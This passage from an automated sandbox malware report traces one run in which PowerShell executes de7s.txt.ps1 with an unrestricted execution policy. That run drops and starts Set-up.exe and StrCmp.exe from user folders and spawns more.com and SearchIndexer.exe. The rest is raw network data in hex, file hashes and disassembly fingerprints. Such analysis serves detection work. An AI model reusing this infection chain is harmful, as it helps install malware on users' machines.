c9 93 de 72 21 95 21 93 fb fd 56 d6 15 83 91 65 7e af 87 73 cf 27 3e ec fe c9 f8 Data Ascii: d27YptMp$G9EasMLL!@@WckyJEHi_b(C<)2sL:L`V@g@9/,',(Smlni2OKHI0E2sd@~F'?Gq^~NaBQn3D }pw/r!!Ve~s'>
2024-09-08 07:53:32 UTC	16384	IN	Data Raw: 56 51 2e b7 4b c9 21 3b eb be a2 b6 0b 3e de 37 55 2f cf 61 30 27 52 19 3f b6 48 c0 fc 22 0c 54 bd f5 b8 a0 e4 d7 d1 b8 49 38 ea 9d 40 cd cf 13 c6 58 82 84 35 f2 be ad 6b 78 1c 54 98 c4 00 3f 03 5b f9 56 24 1b 64 b2 82 52 87 aa 22 57 19 33 1c 14 65 e8 8f 5f 5b eb 66 4d ef 3d e7 b7 d7 ad 18 ff d4 4a 1f 17 66 32 55 48 ef df aa c9 a6 f9 a3 c2 bd 7f d6 fd 38 1b 63 6a 99 9f f5 ba f6 2c 8d 3f 12 98 58 5d 11 b6 a9 51 56 15 33 c9 6b 93 e6 65 69 5d d8 e2 de df 3c fa b4 3d 8a d6 63 a6 d2 79 b1 47 54 59 da f7 6d 98 21 77 6b 9d 21 4e 7e 45 83 57 05 7f 8a ad 56 07 a4 8f f4 34 2f 1b 7f 6a f0 f2 71 9e 71 68 f9 ac a7 2e 6a 75 ec 5d d5 51 0c e7 27 01 3a bd 17 1c 52 5d 08 86 d4 d6 ab 05 da 80 64 b3 65 32 94 5d 25 7c 96 20 7c d1 98 5f 62 f5 9f 05 2d f1 8e c7 ad 33 ae 8b 91 Data Ascii: VQ.K!;>7U/a0'R?H"TI8@X5kxT?[V$dR"W3e_[fM=Jf2UH8cj,?X]QV3kei]<=cyGTYm!wk!N~EWV4/jqqh.ju]Q':R]de2]%\| \|_b-3

Target ID:	0
Start time:	03:53:28
Start date:	08/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\de7s.txt.ps1"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	03:53:28
Start date:	08/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:54:00
Start date:	08/09/2024
Path:	C:\Users\user\AppData\Local\Temp\file\Set-up.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\file\Set-up.exe"
Imagebase:	0x400000
File size:	1'909'504 bytes
MD5 hash:	098AC4621EE0E855E0710710736C2955
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000004.00000000.2440781515.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	03:54:01
Start date:	08/09/2024
Path:	C:\Users\user\AppData\Roaming\CHM\XMBOAWNYC\StrCmp.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\CHM\XMBOAWNYC\StrCmp.exe
Imagebase:	0x400000
File size:	48'896 bytes
MD5 hash:	916D7425A559AAA77F640710A65F9182
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:54:06
Start date:	08/09/2024
Path:	C:\Windows\SysWOW64\more.com
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\more.com
Imagebase:	0xb30000
File size:	24'576 bytes
MD5 hash:	03805AE7E8CBC07840108F5C80CF4973
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:54:06
Start date:	08/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	03:54:27
Start date:	08/09/2024
Path:	C:\Windows\SysWOW64\SearchIndexer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\SearchIndexer.exe
Imagebase:	0x9a0000
File size:	711'680 bytes
MD5 hash:	CF7BEFBA5E20F2F4C7851D016067B89C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	03:54:32
Start date:	08/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 4140 -s 440
Imagebase:	0x2d0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Function 00007FFD347B3B70 Relevance: 1.5, Strings: 1, Instructions: 205COMMON

Download Yara Rule

Strings

;{4, xrefs: 00007FFD347B9147

Memory Dump Source

Source File: 00000000.00000002.2483035483.00007FFD347A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd347a0000_powershell.jbxd

Similarity

API ID:
String ID: ;{4
API String ID: 0-1144467163
Opcode ID: d75786acc2ca930440d0422fcc02bb21a72da079cb34032316ed862a27e95a18
Instruction ID: 70fb703eac289b2574e3958bf88e6b0818fd4e6855e0fc399c74c613b398804d
Opcode Fuzzy Hash: d75786acc2ca930440d0422fcc02bb21a72da079cb34032316ed862a27e95a18
Instruction Fuzzy Hash: B9516AA1B0CA498FEB95A73C58B91B53BD0DF86210B0400BBD45DC72E2DD5DBC4693C1

Function 00007FFD347B3AB0 Relevance: 1.4, Strings: 1, Instructions: 121COMMON

Download Yara Rule

Strings

9O_H, xrefs: 00007FFD347B9671

Memory Dump Source

Source File: 00000000.00000002.2483035483.00007FFD347A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd347a0000_powershell.jbxd

Similarity

API ID:
String ID: 9O_H
API String ID: 0-2458200819
Opcode ID: 28b2d9f6fabd31d09aedd12d632f6a082e87b8af66d42fd5ddb67a6ff98d9d16
Instruction ID: 80fe76a83ce0d37b03f9cf668609f611241b927616be022b60212749650d25b5
Opcode Fuzzy Hash: 28b2d9f6fabd31d09aedd12d632f6a082e87b8af66d42fd5ddb67a6ff98d9d16
Instruction Fuzzy Hash: B431AEB0B089498FEB98EB2884A4B7577D1EF9A304B1441B9D55EC7292DD5CFC82DB80

Function 00007FFD347B17C0 Relevance: .6, Instructions: 614COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2483035483.00007FFD347A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd347a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 653d68bd7935425aea497b77a0f7365bca56c80fdf2b06fa0b9a35815253ca04
Instruction ID: 8bdb5b7a319a94b37d11dff33947f410a1a660300fbc0cd2551ded7a635e5196
Opcode Fuzzy Hash: 653d68bd7935425aea497b77a0f7365bca56c80fdf2b06fa0b9a35815253ca04
Instruction Fuzzy Hash: AD223674608A4DCFDB98EF1CC898AA937E1FF69305B0501A9E85ED72A1DA75EC41CB40

Function 00007FFD34AA4E1A Relevance: .5, Instructions: 527COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2488150196.00007FFD34AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34aa0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f27d490f77f7e0933353194fc070cc5a5fe58f2b1b86adddbe6b82d3214b34b6
Instruction ID: 06c0ea6c084ba35ec126dfb8940797a4197bedd2f460af9351e1a229826aa697
Opcode Fuzzy Hash: f27d490f77f7e0933353194fc070cc5a5fe58f2b1b86adddbe6b82d3214b34b6
Instruction Fuzzy Hash: 0E127371A09A498FDBE5DB18C8A4AA8B7F1FF55305F2400EED04DD7292CA39AD85CF41

Function 00007FFD34AA0AB1 Relevance: .5, Instructions: 504COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2488150196.00007FFD34AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34aa0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a0e4f9697cca702a23458ca947989912fa21bc522933227b21e912cb1748310
Instruction ID: 635e2fb3638bd834ba638bcf74c1154c62ccdd82a3162451b955a2cf17aa4cb3
Opcode Fuzzy Hash: 5a0e4f9697cca702a23458ca947989912fa21bc522933227b21e912cb1748310
Instruction Fuzzy Hash: 5E126F71A0995D8FDBA4DF18C8A4AD8B7E1FF69344F2442EAD10CD7292DB34AD81DB40

Function 00007FFD34870A29 Relevance: .5, Instructions: 488COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2483804951.00007FFD34870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34870000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4ee4d7d152da7985c76cab99a88270387b29901f7acc0d68769e3861e5f559a
Instruction ID: 617a208b0ac7cbab6f1e83f951ebcd8f904d7ef6423419d299273683c7cb8428
Opcode Fuzzy Hash: c4ee4d7d152da7985c76cab99a88270387b29901f7acc0d68769e3861e5f559a
Instruction Fuzzy Hash: 98E11022B0EB860FE79A972848B12B57FD1EF93314F0841BEE18DC71E3D919A845A341

Function 00007FFD34AA2F3A Relevance: .2, Instructions: 249COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2488150196.00007FFD34AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34aa0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 527d59178cce163dd1a2718230241aeaf65cd1cb44ddc9a27c770ab75d5de871
Instruction ID: 0792736054aa6b9f82cd291fc4c6448aacab60f5d2e354c54bb0b534c644852b
Opcode Fuzzy Hash: 527d59178cce163dd1a2718230241aeaf65cd1cb44ddc9a27c770ab75d5de871
Instruction Fuzzy Hash: D291B972A0AA894FEBE5DB1888A46A877E1FF55344F1441FED04DD72D3CA38AC85CB41

Function 00007FFD347B428D Relevance: .2, Instructions: 199COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2483035483.00007FFD347A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd347a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c74dac220138abe013d23664b8939caf9dd2a114039feb5a11b15162d447d210
Instruction ID: e02e2ad95bd9a711942c773ac7dc63b409f3dbbc9a0772bc0a1f3c23e8287f6e
Opcode Fuzzy Hash: c74dac220138abe013d23664b8939caf9dd2a114039feb5a11b15162d447d210
Instruction Fuzzy Hash: 2451A571B18D1A8FEBA4EB6C84655BD73E2FF99310B404175D05ED3292DE6CBC868780

Function 00007FFD34AA252E Relevance: .2, Instructions: 192COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2488150196.00007FFD34AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34aa0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37ed2e3110f34b67b55aa64114151027b0c2871455aab7dce428c4279e57353b
Instruction ID: e889b27837fa14e6b8c8d9ff9233c0260e73f7a0a5cff6a838515b4d42be0e63
Opcode Fuzzy Hash: 37ed2e3110f34b67b55aa64114151027b0c2871455aab7dce428c4279e57353b
Instruction Fuzzy Hash: 6A71D971A0EA894FDBE4DB18C894AA9B7F1FF55304F2441EED14CD7282DA38AD81DB40

Function 00007FFD347B9430 Relevance: .2, Instructions: 175COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2483035483.00007FFD347A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd347a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9be9dbbce76e3b74867bd260c1f0f9682bc99ce66385624e915fade1d417fdd
Instruction ID: 58e37b7f0c806be89af764ccc6b304a171b1327f6b3cfa4e35a2ee93df9f5e98
Opcode Fuzzy Hash: c9be9dbbce76e3b74867bd260c1f0f9682bc99ce66385624e915fade1d417fdd
Instruction Fuzzy Hash: FE41E63131581C8FDA94EB1CE898E6977E1FF6831271505E6E44ECB275DA66EC81CB80

Function 00007FFD347B3820 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2483035483.00007FFD347A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd347a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 201b8b6c61c4ca44f50b746363dc958ace10cafee654188846c0fde27cec5d78
Instruction ID: 1853af85c476d127a09b41da176a3ca6400dc1511c3f56c59a69c42e1d8be413
Opcode Fuzzy Hash: 201b8b6c61c4ca44f50b746363dc958ace10cafee654188846c0fde27cec5d78
Instruction Fuzzy Hash: 83415B72B0D9585FD755E76898AA6F93BE0EF86310F0401B6D48ECB1A3DD587C46C381

Function 00007FFD347B3B28 Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2483035483.00007FFD347A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd347a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ca795c8ca332678a0e323ed0d60fef142a5a014b1b2c5fa67a75ab14f2a8438
Instruction ID: 7d06389d72d55ecc5c7f894ac506f2d07c1beecd3d1c09d310972a5e28ebf8e6
Opcode Fuzzy Hash: 3ca795c8ca332678a0e323ed0d60fef142a5a014b1b2c5fa67a75ab14f2a8438
Instruction Fuzzy Hash: F741A3B0B0CA1ACFEAA4E76C84A4AB973D1EF55310B140175D15EC32E6DDADFC819780

Function 00007FFD34AA35BC Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2488150196.00007FFD34AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34aa0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 306b8e2ab0c4032d256968f6341bf0b41ab9cce18bda1a7cd671d39997f09f2c
Instruction ID: 6845588a353042a6ccbba8de1a6604606d31e0928c3d9f1ac6ab5455a03b2105
Opcode Fuzzy Hash: 306b8e2ab0c4032d256968f6341bf0b41ab9cce18bda1a7cd671d39997f09f2c
Instruction Fuzzy Hash: DA517471A0994A8FDBD4DF18C8A8AA5B7E1FF69304F1441FAD40DD7292CA38ADC1CB41

Function 00007FFD348751EB Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2483804951.00007FFD34870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34870000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 179f338ac56ad64187803e613fabb5c93af8a3e97313cb91ed493c9cda849591
Instruction ID: 729b221107bd68ffc1b6e0f4a8f770bd398a93b733cee734d0f5583ef5cfa1eb
Opcode Fuzzy Hash: 179f338ac56ad64187803e613fabb5c93af8a3e97313cb91ed493c9cda849591
Instruction Fuzzy Hash: B331D96291F7C20FE3A697780C751947FA0AF43254B0941FBD29CCB9E3D91D6C09A751

Function 00007FFD34870BB4 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2483804951.00007FFD34870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34870000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fcb8c788712f6194aee60ba7990ee97b1b7d8a6b8de6e14ef8bc7b9b0ba2a237
Instruction ID: 9333bf1258ccd7b96a4f117fee426c64d7d0b4b1ed11eb2ee65b9a23db1e1e60
Opcode Fuzzy Hash: fcb8c788712f6194aee60ba7990ee97b1b7d8a6b8de6e14ef8bc7b9b0ba2a237
Instruction Fuzzy Hash: FD21F622B1EA4A0BF3A8971858F12756AC2EFD7354B9840BED24DC71D3DD1DEC41B245

Function 00007FFD3487527D Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2483804951.00007FFD34870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34870000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87ea654e1f0e6e8548910beb9009d69e271a741b816a59c33522fdb780678763
Instruction ID: ce0e27c749c08d4bb9ad40cad68e4782e7fc0a45ed33c9828489e9c189d45327
Opcode Fuzzy Hash: 87ea654e1f0e6e8548910beb9009d69e271a741b816a59c33522fdb780678763
Instruction Fuzzy Hash: C421F76191FBC20FE3A29B384C755947FA1AF43220B0942FBD199CB5E3D91D6C05A751

Function 00007FFD347B3AF3 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2483035483.00007FFD347A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd347a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d526b77495d7696cd10dbdac02f3a9833ec02b8699d008e73f1f90df26cbb422
Instruction ID: bd26feca49f446f56fa1f7e608f7c85f94abae91016cd2f6a843ae5828ff303f
Opcode Fuzzy Hash: d526b77495d7696cd10dbdac02f3a9833ec02b8699d008e73f1f90df26cbb422
Instruction Fuzzy Hash: 0C1136B1B0C9094FDB44AA2C98A66FA77C1EB95224B10023FD40EC32A1CDA9FC469780

Function 00007FFD347A37B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2483035483.00007FFD347A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd347a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction ID: 66fa72871b3f3c64a9f031addf7520cc42c6ac513a8443dac0ff2400dedf8c1d
Opcode Fuzzy Hash: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction Fuzzy Hash: C001677121CB0D8FD744EF0CE491AA6B7E0FB95364F10056DE58AC3651D636E882CB45

Non-executed Functions

Function 00007FFD347B11F5 Relevance: 3.0, Strings: 2, Instructions: 476COMMON

Download Yara Rule

Strings

1K_^, xrefs: 00007FFD347B1301
4, xrefs: 00007FFD347B1558

Memory Dump Source

Source File: 00000000.00000002.2483035483.00007FFD347A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd347a0000_powershell.jbxd

Similarity

API ID:
String ID: 1K_^$4
API String ID: 0-1960252846
Opcode ID: a337cf5d110dc603b773c7355ceaec00efd3e46fce66f171198c0902424636c9
Instruction ID: a02911d3cd84437eab2523a36068a5939577f86c52c0d846e73ed5da438455be
Opcode Fuzzy Hash: a337cf5d110dc603b773c7355ceaec00efd3e46fce66f171198c0902424636c9
Instruction Fuzzy Hash: AED1A567B0D6966BF32177BCA8B70EE7B94EF4327870942B3C189D9093DD0C285682D5

Function 00007FFD347AFD45 Relevance: 1.8, Strings: 1, Instructions: 581COMMON

Download Yara Rule

Strings

@, xrefs: 00007FFD347B0114

Memory Dump Source

Source File: 00000000.00000002.2483035483.00007FFD347A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd347a0000_powershell.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 8a8050b96d60a233e6b26d6a3c7cd4daa836e75a6a54b74461493f6557ff69e0
Instruction ID: 35862b95caed5807c7f6e2e96233f1e7742066e894a823a41fb433f6579ef6ef
Opcode Fuzzy Hash: 8a8050b96d60a233e6b26d6a3c7cd4daa836e75a6a54b74461493f6557ff69e0
Instruction Fuzzy Hash: 0F022B70B0DA898FDB95DF68C4A1AA97BE1EF56304F14417ED04DD7286DA28F842C7C1

Function 00007FFD347ACE75 Relevance: 1.8, Strings: 1, Instructions: 509COMMON

Download Yara Rule

Strings

4, xrefs: 00007FFD347ACEB0

Memory Dump Source

Source File: 00000000.00000002.2483035483.00007FFD347A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd347a0000_powershell.jbxd

Similarity

API ID:
String ID: 4
API String ID: 0-4088798008
Opcode ID: c7ce88dc3771af7389bda4197bd80a2847968225eb547ca3efd8860c27040f49
Instruction ID: 6feb217461a58aa4db2194ed3f2eaf6197440dfe7eebcc3a8b6c6c2d69f0cbde
Opcode Fuzzy Hash: c7ce88dc3771af7389bda4197bd80a2847968225eb547ca3efd8860c27040f49
Instruction Fuzzy Hash: 87F17597A0E6D29FF752966C68F61EA3FA0DF5322870901F7C684CB193ED1C68079391

Function 00007FFD347A386A Relevance: 1.6, Strings: 1, Instructions: 314COMMON

Download Yara Rule

Strings

CL, xrefs: 00007FFD347A3A72

Memory Dump Source

Source File: 00000000.00000002.2483035483.00007FFD347A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd347a0000_powershell.jbxd

Similarity

API ID:
String ID: CL
API String ID: 0-3691435998
Opcode ID: 74d7d491d46f83b9d3e3177db370aa84c0e5b1f03b54738d81616f43adbba0b3
Instruction ID: eb48373fbac11b91bea75917c4d04a22c02bd91ad46487a13ec0b8bfb9403afa
Opcode Fuzzy Hash: 74d7d491d46f83b9d3e3177db370aa84c0e5b1f03b54738d81616f43adbba0b3
Instruction Fuzzy Hash: CA9196A7A0E7939FE7524B6C58B70E53FE0DF5322470900B7DA85C61A3D91D2807D6B2

Function 00007FFD347A27FA Relevance: 1.5, Strings: 1, Instructions: 264COMMON

Download Yara Rule

Strings

#, xrefs: 00007FFD347A28C6

Memory Dump Source

Source File: 00000000.00000002.2483035483.00007FFD347A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd347a0000_powershell.jbxd

Similarity

API ID:
String ID: #
API String ID: 0-1885708031
Opcode ID: a28be0c84309647d53baa86b2ce585d47258f4d2afd70c0f7a8a83356d1ab04b
Instruction ID: 1268f2f09682098779e45324003dbda4cf5140f955002052b3bd6c2994d6d816
Opcode Fuzzy Hash: a28be0c84309647d53baa86b2ce585d47258f4d2afd70c0f7a8a83356d1ab04b
Instruction Fuzzy Hash: 599197A7A0E7D25FE7529B7C98B60E93FA0EF5322470D00F7C1C4DA1A3D9192416D792

Function 00007FFD347AF0FA Relevance: 1.5, Strings: 1, Instructions: 226COMMON

Download Yara Rule

Strings

_, xrefs: 00007FFD347AF139

Memory Dump Source

Source File: 00000000.00000002.2483035483.00007FFD347A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd347a0000_powershell.jbxd

Similarity

API ID:
String ID: _
API String ID: 0-701932520
Opcode ID: 56771bc99202301bf9a767f917335ec7e90a59c8866844d2b48452bd1b9b7f74
Instruction ID: d407846c2552678772ad6e6a5e491247990192280b7f237059f9ee4c12d32c93
Opcode Fuzzy Hash: 56771bc99202301bf9a767f917335ec7e90a59c8866844d2b48452bd1b9b7f74
Instruction Fuzzy Hash: ED715297A0F7C25EF653A62C58F64EB3FA49F5326870901F7C6C5CA193E90C180A92A1

Function 00007FFD347A6F68 Relevance: .6, Instructions: 570COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2483035483.00007FFD347A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd347a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7bb877f86ed2bd499b5707951d0595dcf5e13dce54a0c2ee10bdd3f15511e5c8
Instruction ID: c3f41f6b4c18d5a9c30561fc61c64e58c1a531095e845ab09a3e677242bb9ead
Opcode Fuzzy Hash: 7bb877f86ed2bd499b5707951d0595dcf5e13dce54a0c2ee10bdd3f15511e5c8
Instruction Fuzzy Hash: 06022672B0DA4A8FEB91DB5CC4A55EE7BE0FF96314F044276D549C7282DE28E84287C1

Function 00007FFD347A3B9D Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2483035483.00007FFD347A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd347a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f378a5f5d68bd1456ec1a6c9cc9d402895de7ec9d2fbadca4f80c9e49a4977e1
Instruction ID: 9af64c1b2dd258ccf9196d65ed8614b11a101e0687cbd36d89a237c722ff2825
Opcode Fuzzy Hash: f378a5f5d68bd1456ec1a6c9cc9d402895de7ec9d2fbadca4f80c9e49a4977e1
Instruction Fuzzy Hash: EE516293B0E7D29FE7935A2C5CB60E53F90DF5326170900F7CA85CB1A3D90D280A93A2

Function 00007FFD347AB275 Relevance: .2, Instructions: 185COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2483035483.00007FFD347A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd347a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6b06604fd84a4c8afb0e8c5ba6f23f6b75ba6ac1a29407a45f2b3066e4053b8
Instruction ID: 992a348c4aa3122033804ceb92023639ec895b10479a60669c4e7ff303163a66
Opcode Fuzzy Hash: f6b06604fd84a4c8afb0e8c5ba6f23f6b75ba6ac1a29407a45f2b3066e4053b8
Instruction Fuzzy Hash: 5151EDB7A1D5935AE351A67CA8E60EA3B90EF5323C70C43B2D2C8CE093DD1D74079282

Function 00007FFD347A86FA Relevance: 6.3, Strings: 5, Instructions: 97COMMON

Download Yara Rule

Strings

K_^, xrefs: 00007FFD347A87C9
K_^, xrefs: 00007FFD347A877A
K_^, xrefs: 00007FFD347A876A
K_^, xrefs: 00007FFD347A872A
K_^, xrefs: 00007FFD347A86FA

Memory Dump Source

Source File: 00000000.00000002.2483035483.00007FFD347A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd347a0000_powershell.jbxd

Similarity

API ID:
String ID: K_^$K_^$K_^$K_^$K_^
API String ID: 0-3188868157
